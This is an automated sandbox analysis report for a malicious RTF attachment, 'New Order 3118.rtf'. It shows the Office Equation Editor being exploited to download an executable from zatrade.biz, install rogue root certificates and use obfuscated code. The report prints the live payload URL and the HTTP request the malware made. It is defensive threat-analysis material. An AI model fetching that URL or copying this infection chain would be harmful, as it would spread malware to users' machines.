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Windows Analysis Report
New Order 3118.rtf

Overview

General Information

Sample name:	New Order 3118.rtf
Analysis ID:	1416057
MD5:	99a565b1df705062e82bd4d7587c2959
SHA1:	1817b3ef54cf96f71bbb581ef21c37c820c125f0
SHA256:	e8fac55896700a6e6505cc1b8d4f98570358c0a1275564d587845cfb5ec47068
Tags:	HUNrtf
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Document exploit detected (process start blacklist hit)

Installs new ROOT certificates

Office equation editor establishes network connection

Sigma detected: Equation Editor Network Connection

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Detected potential crypto function

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Stores large binary data to the registry

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2104 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 1096 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 3264 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
New Order 3118.rtf	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x141:$obj2: \objdata 0x157:$obj3: \objupdate 0x119:$obj5: \objautlink

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 185.236.228.49, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1096, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49165, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1096, Protocol: tcp, SourceIp: 185.236.228.49, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1096, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 2104, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: New Order 3118.rtf

ReversingLabs: Detection: 36%

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 185.236.228.49 Port: 80			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 185.236.228.49 Port: 443			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 185.236.228.49:443 -> 192.168.2.22:49166 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: global traffic

DNS query: name: zatrade.biz

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 185.236.228.49:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 185.236.228.49:80
Source: global traffic	TCP traffic: 185.236.228.49:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 185.236.228.49:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 185.236.228.49:80
Source: global traffic	TCP traffic: 185.236.228.49:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 185.236.228.49:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 185.236.228.49:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 185.236.228.49:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 185.236.228.49:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 185.236.228.49:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 185.236.228.49:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 185.236.228.49:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 185.236.228.49:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 185.236.228.49:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 185.236.228.49:80

Source: Joe Sandbox View

ASN Name: EVOLIX-ASFR EVOLIX-ASFR

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic

HTTP traffic detected: GET /6nSkW0jqkE1okon.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: zatrade.bizConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{766A1BB3-4D83-4EF3-8227-676B1863F934}.tmp

Jump to behavior

Source: global traffic

Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: zatrade.biz

Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.0000000000569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zatrade.biz/6nSkW0jqk
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.340815170.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zatrade.biz/6nSkW0jqkE1okon.exe
Source: EQNEDT32.EXE, 00000002.00000002.340815170.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zatrade.biz/6nSkW0jqkE1okon.exeW
Source: EQNEDT32.EXE, 00000002.00000002.340815170.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zatrade.biz/6nSkW0jqkE1okon.exej
Source: EQNEDT32.EXE, 00000002.00000002.340815170.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000002.00000002.340815170.0000000000569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zatrade.biz/
Source: EQNEDT32.EXE, 00000002.00000002.340815170.0000000000569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zatrade.biz/6nSkW0jqkE1okon.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: unknown

HTTPS traffic detected: 185.236.228.49:443 -> 192.168.2.22:49166 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: New Order 3118.rtf, type: SAMPLE

Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_0055A7AA

2_2_0055A7AA

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: New Order 3118.rtf, type: SAMPLE

Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal80.expl.winRTF@3/8@1/1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$w Order 3118.rtf

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR5D5B.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: New Order 3118.rtf

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: New Order 3118.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\New Order 3118.rtf

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00548F44 push eax; retf	2_2_00548F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00554F4E push edx; ret	2_2_00554F4F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00555A03 push ebx; ret	2_2_00555A07
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00554A02 push esp; ret	2_2_00554A03
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00554A0A push esp; ret	2_2_00554A0B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0055773C push esp; ret	2_2_0055773F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0055783E push esp; ret	2_2_0055783F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0055772E push esp; ret	2_2_0055772F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0055782E push esp; ret	2_2_0055782F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00555EDC push edx; ret	2_2_00555EE3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005577DE push esp; ret	2_2_005577DF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005479CC push 40005478h; retf 0056h	2_2_005479D1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005401F4 push eax; retf	2_2_005401F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005547F3 push esp; ret	2_2_005547F7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005577FE push esp; ret	2_2_005577FF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00555CFB push edx; ret	2_2_00555CFF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005464E4 push ebp; iretd	2_2_005464E5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005577EE push esp; ret	2_2_005577EF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00557798 push esp; ret	2_2_0055779F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0055778C push esp; ret	2_2_0055778F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00554FB6 push ebx; ret	2_2_00554FB7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005577BE push esp; ret	2_2_005577BF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00554FAE push ebx; ret	2_2_00554FAF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005577AE push esp; ret	2_2_005577AF

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
